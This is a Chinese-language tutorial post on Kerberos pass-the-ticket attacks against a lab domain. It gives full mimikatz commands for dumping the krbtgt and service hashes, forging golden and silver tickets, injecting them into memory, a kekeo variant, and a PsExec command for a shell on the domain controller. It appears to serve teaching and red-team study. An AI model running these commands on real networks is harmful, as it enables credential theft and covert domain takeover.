首页 > 编程学习 > 票据传递攻击

票据传递攻击

发布时间:2022/11/12 19:12:44

票据传递攻击

票据传递攻击(PtT)是基于Kerberos认证的一种攻击方式,常用来做后渗透权限维持。黄金票据攻击利用的前提是得到了域内krbtgt用户的NTLM 哈希或AES-256的值,白银票据攻击利用的前提是得到了域内服务账号的NTLM 哈希或AES-256的值。票据传递攻击常用来做域控权限维持

黄金票据

伪造krbtgt用户的TGT票据

原理

在 Kerberos 认证中,Client 通过 AS(身份认证服务)认证后,AS 会给Client 一个Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在KDC 中,krbtgt 的NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造TGT和Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过AS 验证,不用验证账户和密码,所以也不担心域管密码修改。

特点

不需要与 AS 进行交互,需要用户 krbtgt 的 Hash

伪造金票所需条件

  1. 域名称

  2. 域的 SID 值

  3. 域的 KRBTGT 账号的 HASH

  4. 伪造任意用户名(一般填写域管账户)

生成金票

登录域管账户

使用一下命令导出用户 krbtgt 的 hash:

mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync 
/domain:moonsec.fbi /all /csv
或 
lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonsec.fbi /user:krbtgt
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:moonsec.fbi/all /csv" "exit">loghash.txt
lsadump::dcsync /domain:moonsec.fbi /user:krbtgt

sid和hash是krbtgt的

 

以下环境是在域成员A的 administrator 用户下进行,因为mimikatz需要管理员权限!

利用 mimikatz 生成金票生成.kirbi 文件并保存:

mimikatz.exe "kerberos::golden /admin:system /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /krbtgt:811a536cf58aa23ceb8d439ffb386e6f /ticket:ticket.kirbi" exit
  • /admin:伪造的用户名

  • /domain:域名称

  • /sid:SID 值,(注意是去掉最后一个-后面的值)

  • /krbtgt:krbtgt 的 HASH 值

  • /ticket:生成的票据名称 //不是写入内存中的命令!

 

金票的使用

(普通域账户,利用黄金票据,创建域管账户) 登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将ticket.kirbi 导入内存中。

导入票据之前访问域控失败

mimikatz # kerberos::purge
mimikatz # kerberos::ptt C:\Users\test.MOONSEC\Desktop\mimikatz_trunk\x64\ticket.kirbi

 

注入内存中可以再来访问 dc 可以成功

 

利用psexec获取shell

PsExec.exe /accepteula /s \\08server-dc.moonsec.fbi cmd

 

白银票据

白银票据Silver Ticket不同域黄金票据Golden Ticket。白银票据的利用过程是伪造TGS,通过已知的授权服务密码生成一张可以访问该服务的TGT。因为在票据生成过程中不需要使用KDC,所以可以绕过域控,很少留下日志。黄金票据使用krbtgt账号的密码散列值,利用伪造高权限的TGT向KDC要求颁发拥有任意服务访问权限的票据,从而获取域控权限。而白银票据会通过相应的服务账号来伪造TGS,例如:LDAP、MSSQL、WinRM、DNS、CIFS等,范围有限,只能获取对应服务的权限。

要创建白银票据,我们需要知道以下信息:

  • 要伪造的域用户(这里我们一般填写域管理员账户)

  • 域名

  • 域的SID值(就是域成员SID值去掉最后的)

  • 目标服务的FQDN

  • 可利用的服务

  • 服务账号的NTLM哈希

特点

1.不需要与 KDC 进行交互

2.需要 server 的 NTLM hash

登录域管用户,用管理员权限打开 CMD,cd 到mimikatz 存放的目录,去执行 mimikatz 的命令,得到 SID 和 NTLM

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">log.txt

 

先使用 mimikatz 清空票据,再导入伪造的票据,具体伪造票据的命令:

kerberos::purge 
kerberos::golden /domain:moonsec.fbi /sid:S-1-5-21-2801122135-3886333168-273474972 /target:08server-dc.moonsec.fbi /service:cifs /rc4:42e2656ec24331269f82160ff5962387 /user:administrator /ptt

 

使用方法:

kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名>/service:<服务类型> /rc4: /user:<用户名> /ptt

其中的用户名可以随便写 服务类型可以从以下内容中来进行选择,因为我们没有 TGT 去不断申请ticket,所以只能针对某一些服务来进行伪造

 

kekeo 制作环境银票

tgt::ask /user:administrator /domain:moonsec.fbi /ntlm:42e2656ec24331269f82160ff5962387 
​
// tgt::ask /user:用户名 /domain:域名 /ntlm:NTLM Hash 
​
kerberos::ptt TGT_administrator@MOONSEC.FBI_krbtgt~moonsec.fbi@MOONSEC.FBI.kirbi

 

黄金票据和白银票据的不同

访问权限不同:

  • 黄金票据Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限

  • 白银票据Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同:

  • Golden Ticket由krbtgt的Hash加密

  • Silver Ticket 由服务账号(通常为计算机账户)Hash加密

  • 认证流程不同:

  • Golden Ticket的利用过程需要访问域控,

  • 而Silver Ticket不需要

隐蔽性不同:

  • 白银票据依赖于服务账号的密码散列值,而黄金票据需要利用krbtgt账号的密码散列值,因此白银票据更隐蔽

参考链接

内网渗透(四) | 票据传递攻击 - 腾讯云开发者社区-腾讯云

野蛮人之间人吃人,文明人之间人骗人

 

Copyright © 2010-2022 dgrt.cn 版权所有 |关于我们| 联系方式